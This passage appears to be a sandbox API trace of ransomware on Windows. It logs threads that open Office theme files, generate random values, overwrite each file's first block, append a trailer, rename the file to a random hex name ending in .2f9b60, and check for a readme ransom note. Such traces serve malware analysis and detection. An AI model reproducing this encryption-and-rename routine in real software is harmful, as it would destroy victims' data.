effects\\2f9b60-readme.txt")) returned 0x20 [0111.073] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279a30) returned 1 [0111.073] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd64dc0) returned 1 Thread: id = 1068 os_tid = 0x1758 [0111.077] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\flow.eftx")) returned 0x20 [0111.077] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx", dwFileAttributes=0x20) returned 1 [0111.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\flow.eftx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1574 [0111.078] GetFileSizeEx (in: hFile=0x1574, lpFileSize=0x339cf940 | out: lpFileSize=0x339cf940*=26648) returned 1 [0111.078] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x6814, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.078] ReadFile (in: hFile=0x1574, lpBuffer=0x339cf8c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x339cf908, lpOverlapped=0x0 | out: lpBuffer=0x339cf8c0*, lpNumberOfBytesRead=0x339cf908*=0x4, lpOverlapped=0x0) returned 1 [0111.099] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.099] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7d30 [0111.099] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7d60 [0111.100] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7d00 [0111.100] NtQuerySystemTime (in: CurrentTime=0x339cf800 | out: CurrentTime=0x339cf800*=132462177165706000) returned 0x0 [0111.100] RtlRandomEx (in: Seed=0x339cf7f0 | out: Seed=0x339cf7f0) returned 0x78483774 [0111.100] RtlRandomEx (in: Seed=0x339cf7f0 | out: Seed=0x339cf7f0) returned 0x1fccf35b [0111.100] RtlRandomEx (in: Seed=0x339cf7f0 | out: Seed=0x339cf7f0) returned 0x42957371 [0111.100] RtlRandomEx (in: Seed=0x339cf7f0 | out: Seed=0x339cf7f0) returned 0x682904af [0111.100] RtlRandomEx (in: Seed=0x339cf7f0 | out: Seed=0x339cf7f0) returned 0x6b2c422f [0111.100] RtlRandomEx (in: Seed=0x339cf7f0 | out: Seed=0x339cf7f0) returned 0x2dba4499 [0111.100] RtlRandomEx (in: Seed=0x339cf7f0 | out: Seed=0x339cf7f0) returned 0x36d2831a [0111.100] RtlRandomEx (in: Seed=0x339cf7f0 | out: Seed=0x339cf7f0) returned 0x167b8a81 [0111.100] RtlRandomEx (in: Seed=0x339cf7f0 | out: Seed=0x339cf7f0) returned 0x19df491e [0111.100] RtlRandomEx (in: Seed=0x339cf7f0 | out: Seed=0x339cf7f0) returned 0x3a298529 [0111.100] RtlRandomEx (in: Seed=0x339cf7f0 | out: Seed=0x339cf7f0) returned 0x4e0dbb58 [0111.101] RtlRandomEx (in: Seed=0x339cf7f0 | out: Seed=0x339cf7f0) returned 0x693381f6 [0111.101] RtlRandomEx (in: Seed=0x339cf7f0 | out: Seed=0x339cf7f0) returned 0x23d44180 [0111.101] RtlRandomEx (in: Seed=0x339cf7f0 | out: Seed=0x339cf7f0) returned 0x455c3911 [0111.101] RtlRandomEx (in: Seed=0x339cf7f0 | out: Seed=0x339cf7f0) returned 0x1325942d [0111.101] RtlRandomEx (in: Seed=0x339cf7f0 | out: Seed=0x339cf7f0) returned 0x626df16e [0111.101] RtlRandomEx (in: Seed=0x339cf7f0 | out: Seed=0x339cf7f0) returned 0x15a9d4b0 [0111.101] RtlRandomEx (in: Seed=0x339cf7f0 | out: Seed=0x339cf7f0) returned 0x44f72035 [0111.101] RtlRandomEx (in: Seed=0x339cf7f0 | out: Seed=0x339cf7f0) returned 0x48b83e2f [0111.101] RtlRandomEx (in: Seed=0x339cf7f0 | out: Seed=0x339cf7f0) returned 0x2da974bf [0111.101] RtlRandomEx (in: Seed=0x339cf7f0 | out: Seed=0x339cf7f0) returned 0x28be5f5f [0111.101] RtlRandomEx (in: Seed=0x339cf7f0 | out: Seed=0x339cf7f0) returned 0x32c66df8 [0111.101] RtlRandomEx (in: Seed=0x339cf7f0 | out: Seed=0x339cf7f0) returned 0x416c655b [0111.101] RtlRandomEx (in: Seed=0x339cf7f0 | out: Seed=0x339cf7f0) returned 0x65be646e [0111.101] RtlRandomEx (in: Seed=0x339cf7f0 | out: Seed=0x339cf7f0) returned 0x61aea112 [0111.101] RtlRandomEx (in: Seed=0x339cf7f0 | out: Seed=0x339cf7f0) returned 0x741646b7 [0111.101] RtlRandomEx (in: Seed=0x339cf7f0 | out: Seed=0x339cf7f0) returned 0x2261c762 [0111.102] RtlRandomEx (in: Seed=0x339cf7f0 | out: Seed=0x339cf7f0) returned 0x47d7f1fe [0111.102] RtlRandomEx (in: Seed=0x339cf7f0 | out: Seed=0x339cf7f0) returned 0x507ec8d2 [0111.102] RtlRandomEx (in: Seed=0x339cf7f0 | out: Seed=0x339cf7f0) returned 0xb66c0fd [0111.102] RtlRandomEx (in: Seed=0x339cf7f0 | out: Seed=0x339cf7f0) returned 0x4510c063 [0111.102] RtlRandomEx (in: Seed=0x339cf7f0 | out: Seed=0x339cf7f0) returned 0x6967d9a4 [0111.112] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.113] ReadFile (in: hFile=0x1574, lpBuffer=0x41e5f0f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x339cf860, lpOverlapped=0x0 | out: lpBuffer=0x41e5f0f0*, lpNumberOfBytesRead=0x339cf860*=0x3c00, lpOverlapped=0x0) returned 1 [0111.126] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.128] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0111.129] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869f40 [0111.129] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7d30 [0111.129] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7d30) returned 1 [0111.129] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e80d80 [0111.129] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7d30 [0111.129] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a76a0 [0111.129] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a76a0) returned 1 [0111.129] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869f40) returned 1 [0111.129] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0111.129] WriteFile (in: hFile=0x1574, lpBuffer=0x41e80d80*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x339cf860, lpOverlapped=0x0 | out: lpBuffer=0x41e80d80*, lpNumberOfBytesWritten=0x339cf860*=0x3c00, lpOverlapped=0x0) returned 1 [0111.134] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e80d80) returned 1 [0111.134] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e5f0f0) returned 1 [0111.134] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7670 [0111.135] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0111.135] WriteFile (in: hFile=0x1574, lpBuffer=0x169910*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x339cf910, lpOverlapped=0x0 | out: lpBuffer=0x169910*, lpNumberOfBytesWritten=0x339cf910*=0x104, lpOverlapped=0x0) returned 1 [0111.137] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0111.137] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869f40 [0111.137] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7b50 [0111.137] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7b50) returned 1 [0111.137] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82d000 [0111.137] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7b50 [0111.137] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7ac0 [0111.138] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7ac0) returned 1 [0111.138] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869f40) returned 1 [0111.138] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0111.138] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x202a7ac0 [0111.138] sprintf (in: _Dest=0x202a7ac0, _Format="%c%c" | out: _Dest="43") returned 2 [0111.138] sprintf (in: _Dest=0x202a7ac2, _Format="%c%c" | out: _Dest="5f") returned 2 [0111.138] sprintf (in: _Dest=0x202a7ac4, _Format="%c%c" | out: _Dest="96") returned 2 [0111.138] sprintf (in: _Dest=0x202a7ac6, _Format="%c%c" | out: _Dest="3d") returned 2 [0111.138] sprintf (in: _Dest=0x202a7ac8, _Format="%c%c" | out: _Dest="07") returned 2 [0111.138] sprintf (in: _Dest=0x202a7aca, _Format="%c%c" | out: _Dest="16") returned 2 [0111.138] sprintf (in: _Dest=0x202a7acc, _Format="%c%c" | out: _Dest="6a") returned 2 [0111.138] sprintf (in: _Dest=0x202a7ace, _Format="%c%c" | out: _Dest="23") returned 2 [0111.138] sprintf (in: _Dest=0x202a7ad0, _Format="%c%c" | out: _Dest="f8") returned 2 [0111.138] sprintf (in: _Dest=0x202a7ad2, _Format="%c%c" | out: _Dest="25") returned 2 [0111.138] sprintf (in: _Dest=0x202a7ad4, _Format="%c%c" | out: _Dest="78") returned 2 [0111.138] sprintf (in: _Dest=0x202a7ad6, _Format="%c%c" | out: _Dest="1e") returned 2 [0111.138] sprintf (in: _Dest=0x202a7ad8, _Format="%c%c" | out: _Dest="e5") returned 2 [0111.139] sprintf (in: _Dest=0x202a7ada, _Format="%c%c" | out: _Dest="7a") returned 2 [0111.139] sprintf (in: _Dest=0x202a7adc, _Format="%c%c" | out: _Dest="bd") returned 2 [0111.139] sprintf (in: _Dest=0x202a7ade, _Format="%c%c" | out: _Dest="c4") returned 2 [0111.139] sprintf (in: _Dest=0x202a7ae0, _Format="%c%c" | out: _Dest="3f") returned 2 [0111.139] sprintf (in: _Dest=0x202a7ae2, _Format="%c%c" | out: _Dest="b1") returned 2 [0111.139] RtlInitAnsiString (in: DestinationString=0x339cf988, SourceString="435f963d07166a23f825781ee57abdc43fb1" | out: DestinationString="435f963d07166a23f825781ee57abdc43fb1") [0111.139] RtlAnsiStringToUnicodeString (in: DestinationString=0x339cf958, SourceString="435f963d07166a23f825781ee57abdc43fb1", AllocateDestinationString=1 | out: DestinationString="435f963d07166a23f825781ee57abdc43fb1") returned 0x0 [0111.139] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1b7ceb80 [0111.139] wcscat (in: _Dest=0x1cd64dc0, _Source="435f963d0" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\435f963d0") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\435f963d0" [0111.139] wcscat (in: _Dest=0x1cd64dc0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\435f963d0.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\435f963d0.2f9b60" [0111.139] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\435f963d0.2f9b60", NtPathName=0x339cf930, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\435f963d0.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0111.139] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x119720 [0111.140] NtSetInformationFile (FileHandle=0x1574, IoStatusBlock=0x339cf9d0, FileInformation=0x119720, Length=0xc6, FileInformationClass=0xa) returned 0x0 [0111.152] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x119720) returned 1 [0111.152] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0111.152] NtQueryInformationFile (in: FileHandle=0x1574, IoStatusBlock=0x339cf998, FileInformation=0x339cf9a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x339cf998, FileInformation=0x339cf9a8) returned 0x0 [0111.152] NtSetInformationFile (FileHandle=0x1574, IoStatusBlock=0x339cf998, FileInformation=0x339cf9a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0111.154] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd64dc0) returned 1 [0111.154] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ceb80) returned 1 [0111.154] FlushFileBuffers (hFile=0x1574) returned 1 [0111.155] CloseHandle (hObject=0x1574) returned 1 [0111.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20279a30 [0111.157] wcscpy (in: _Dest=0x20279a30, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0111.157] wcscat (in: _Dest=0x20279a30, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt" [0111.157] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\2f9b60-readme.txt")) returned 0x20 [0111.157] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279a30) returned 1 [0111.157] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd64e70) returned 1 Thread: id = 1069 os_tid = 0x175c [0111.081] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\foundry.eftx")) returned 0x20 [0111.082] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx", dwFileAttributes=0x20) returned 1 [0111.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\foundry.eftx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15e0 [0111.097] GetFileSizeEx (in: hFile=0x15e0, lpFileSize=0x337ffc60 | out: lpFileSize=0x337ffc60*=18226) returned 1 [0111.097] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x472e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.097] ReadFile (in: hFile=0x15e0, lpBuffer=0x337ffbe0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x337ffc28, lpOverlapped=0x0 | out: lpBuffer=0x337ffbe0*, lpNumberOfBytesRead=0x337ffc28*=0x4, lpOverlapped=0x0) returned 1 [0111.113] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.113] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7d30 [0111.114] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7d00 [0111.114] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a76a0 [0111.114] NtQuerySystemTime (in: CurrentTime=0x337ffb20 | out: CurrentTime=0x337ffb20*=132462177165862000) returned 0x0 [0111.114] RtlRandomEx (in: Seed=0x337ffb10 | out: Seed=0x337ffb10) returned 0x144505fa [0111.114] RtlRandomEx (in: Seed=0x337ffb10 | out: Seed=0x337ffb10) returned 0x26e29fff [0111.114] RtlRandomEx (in: Seed=0x337ffb10 | out: Seed=0x337ffb10) returned 0x413ebb91 [0111.114] RtlRandomEx (in: Seed=0x337ffb10 | out: Seed=0x337ffb10) returned 0x6229f45d [0111.114] RtlRandomEx (in: Seed=0x337ffb10 | out: Seed=0x337ffb10) returned 0x51a4661 [0111.114] RtlRandomEx (in: Seed=0x337ffb10 | out: Seed=0x337ffb10) returned 0x754116cc [0111.114] RtlRandomEx (in: Seed=0x337ffb10 | out: Seed=0x337ffb10) returned 0x3198c746 [0111.114] RtlRandomEx (in: Seed=0x337ffb10 | out: Seed=0x337ffb10) returned 0x2b446efd [0111.114] RtlRandomEx (in: Seed=0x337ffb10 | out: Seed=0x337ffb10) returned 0x11627b52 [0111.114] RtlRandomEx (in: Seed=0x337ffb10 | out: Seed=0x337ffb10) returned 0x4494f260 [0111.114] RtlRandomEx (in: Seed=0x337ffb10 | out: Seed=0x337ffb10) returned 0x293ab4d0 [0111.114] RtlRandomEx (in: Seed=0x337ffb10 | out: Seed=0x337ffb10) returned 0x81f3043 [0111.114] RtlRandomEx (in: Seed=0x337ffb10 | out: Seed=0x337ffb10) returned 0x6b5042ae [0111.114] RtlRandomEx (in: Seed=0x337ffb10 | out: Seed=0x337ffb10) returned 0x6484aa6a [0111.114] RtlRandomEx (in: Seed=0x337ffb10 | out: Seed=0x337ffb10) returned 0x41415773 [0111.114] RtlRandomEx (in: Seed=0x337ffb10 | out: Seed=0x337ffb10) returned 0xaec198b [0111.114] RtlRandomEx (in: Seed=0x337ffb10 | out: Seed=0x337ffb10) returned 0x3f74e731 [0111.114] RtlRandomEx (in: Seed=0x337ffb10 | out: Seed=0x337ffb10) returned 0x7b1364be [0111.114] RtlRandomEx (in: Seed=0x337ffb10 | out: Seed=0x337ffb10) returned 0x3b8f8d20 [0111.114] RtlRandomEx (in: Seed=0x337ffb10 | out: Seed=0x337ffb10) returned 0x7a3c75af [0111.114] RtlRandomEx (in: Seed=0x337ffb10 | out: Seed=0x337ffb10) returned 0x49095bde [0111.114] RtlRandomEx (in: Seed=0x337ffb10 | out: Seed=0x337ffb10) returned 0x589ceff9 [0111.114] RtlRandomEx (in: Seed=0x337ffb10 | out: Seed=0x337ffb10) returned 0x3d194aa8 [0111.114] RtlRandomEx (in: Seed=0x337ffb10 | out: Seed=0x337ffb10) returned 0xc4fe6b0 [0111.114] RtlRandomEx (in: Seed=0x337ffb10 | out: Seed=0x337ffb10) returned 0x1afc41f5 [0111.114] RtlRandomEx (in: Seed=0x337ffb10 | out: Seed=0x337ffb10) returned 0x72e10977 [0111.115] RtlRandomEx (in: Seed=0x337ffb10 | out: Seed=0x337ffb10) returned 0x238cd610 [0111.115] RtlRandomEx (in: Seed=0x337ffb10 | out: Seed=0x337ffb10) returned 0x5918d12f [0111.115] RtlRandomEx (in: Seed=0x337ffb10 | out: Seed=0x337ffb10) returned 0x5d708490 [0111.115] RtlRandomEx (in: Seed=0x337ffb10 | out: Seed=0x337ffb10) returned 0x6c2d5555 [0111.115] RtlRandomEx (in: Seed=0x337ffb10 | out: Seed=0x337ffb10) returned 0x6881a1c3 [0111.115] RtlRandomEx (in: Seed=0x337ffb10 | out: Seed=0x337ffb10) returned 0xe0a52c1 [0111.125] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.125] ReadFile (in: hFile=0x15e0, lpBuffer=0x41e6e130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x337ffb80, lpOverlapped=0x0 | out: lpBuffer=0x41e6e130*, lpNumberOfBytesRead=0x337ffb80*=0x3c00, lpOverlapped=0x0) returned 1 [0111.131] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.131] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0111.132] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869f40 [0111.132] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a76a0 [0111.132] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a76a0) returned 1 [0111.132] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e84990 [0111.132] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a76a0 [0111.132] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7670 [0111.132] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7670) returned 1 [0111.132] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869f40) returned 1 [0111.132] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0111.133] WriteFile (in: hFile=0x15e0, lpBuffer=0x41e84990*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x337ffb80, lpOverlapped=0x0 | out: lpBuffer=0x41e84990*, lpNumberOfBytesWritten=0x337ffb80*=0x3c00, lpOverlapped=0x0) returned 1 [0111.136] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e84990) returned 1 [0111.136] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e6e130) returned 1 [0111.136] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202a7bb0 [0111.136] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0111.136] WriteFile (in: hFile=0x15e0, lpBuffer=0x1675e0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x337ffc30, lpOverlapped=0x0 | out: lpBuffer=0x1675e0*, lpNumberOfBytesWritten=0x337ffc30*=0x10a, lpOverlapped=0x0) returned 1 [0111.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0111.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869f40 [0111.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7c40 [0111.142] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7c40) returned 1 [0111.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0111.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7c40 [0111.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7c70 [0111.142] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7c70) returned 1 [0111.143] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869f40) returned 1 [0111.143] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0111.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f070 [0111.143] sprintf (in: _Dest=0x1cd9f070, _Format="%c%c" | out: _Dest="b4") returned 2 [0111.143] sprintf (in: _Dest=0x1cd9f072, _Format="%c%c" | out: _Dest="3f") returned 2 [0111.143] sprintf (in: _Dest=0x1cd9f074, _Format="%c%c" | out: _Dest="98") returned 2 [0111.143] sprintf (in: _Dest=0x1cd9f076, _Format="%c%c" | out: _Dest="a0") returned 2 [0111.143] sprintf (in: _Dest=0x1cd9f078, _Format="%c%c" | out: _Dest="eb") returned 2 [0111.143] sprintf (in: _Dest=0x1cd9f07a, _Format="%c%c" | out: _Dest="01") returned 2 [0111.143] sprintf (in: _Dest=0x1cd9f07c, _Format="%c%c" | out: _Dest="d6") returned 2 [0111.143] sprintf (in: _Dest=0x1cd9f07e, _Format="%c%c" | out: _Dest="36") returned 2 [0111.143] sprintf (in: _Dest=0x1cd9f080, _Format="%c%c" | out: _Dest="bc") returned 2 [0111.143] sprintf (in: _Dest=0x1cd9f082, _Format="%c%c" | out: _Dest="9d") returned 2 [0111.143] sprintf (in: _Dest=0x1cd9f084, _Format="%c%c" | out: _Dest="2e") returned 2 [0111.143] sprintf (in: _Dest=0x1cd9f086, _Format="%c%c" | out: _Dest="6e") returned 2 [0111.144] sprintf (in: _Dest=0x1cd9f088, _Format="%c%c" | out: _Dest="6e") returned 2 [0111.144] sprintf (in: _Dest=0x1cd9f08a, _Format="%c%c" | out: _Dest="df") returned 2 [0111.144] sprintf (in: _Dest=0x1cd9f08c, _Format="%c%c" | out: _Dest="80") returned 2 [0111.144] sprintf (in: _Dest=0x1cd9f08e, _Format="%c%c" | out: _Dest="84") returned 2 [0111.144] sprintf (in: _Dest=0x1cd9f090, _Format="%c%c" | out: _Dest="55") returned 2 [0111.144] sprintf (in: _Dest=0x1cd9f092, _Format="%c%c" | out: _Dest="bd") returned 2 [0111.144] sprintf (in: _Dest=0x1cd9f094, _Format="%c%c" | out: _Dest="4c") returned 2 [0111.144] sprintf (in: _Dest=0x1cd9f096, _Format="%c%c" | out: _Dest="6b") returned 2 [0111.144] sprintf (in: _Dest=0x1cd9f098, _Format="%c%c" | out: _Dest="5a") returned 2 [0111.144] sprintf (in: _Dest=0x1cd9f09a, _Format="%c%c" | out: _Dest="ee") returned 2 [0111.144] sprintf (in: _Dest=0x1cd9f09c, _Format="%c%c" | out: _Dest="c1") returned 2 [0111.144] sprintf (in: _Dest=0x1cd9f09e, _Format="%c%c" | out: _Dest="55") returned 2 [0111.144] RtlInitAnsiString (in: DestinationString=0x337ffca8, SourceString="b43f98a0eb01d636bc9d2e6e6edf808455bd4c6b5aeec155" | out: DestinationString="b43f98a0eb01d636bc9d2e6e6edf808455bd4c6b5aeec155") [0111.144] RtlAnsiStringToUnicodeString (in: DestinationString=0x337ffc78, SourceString="b43f98a0eb01d636bc9d2e6e6edf808455bd4c6b5aeec155", AllocateDestinationString=1 | out: DestinationString="b43f98a0eb01d636bc9d2e6e6edf808455bd4c6b5aeec155") returned 0x0 [0111.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9860 [0111.145] wcscat (in: _Dest=0x20279a30, _Source="b43f98a0eb01" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\b43f98a0eb01") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\b43f98a0eb01" [0111.145] wcscat (in: _Dest=0x20279a30, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\b43f98a0eb01.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\b43f98a0eb01.2f9b60" [0111.145] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\b43f98a0eb01.2f9b60", NtPathName=0x337ffc50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\b43f98a0eb01.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0111.145] RtlAllocateHeap 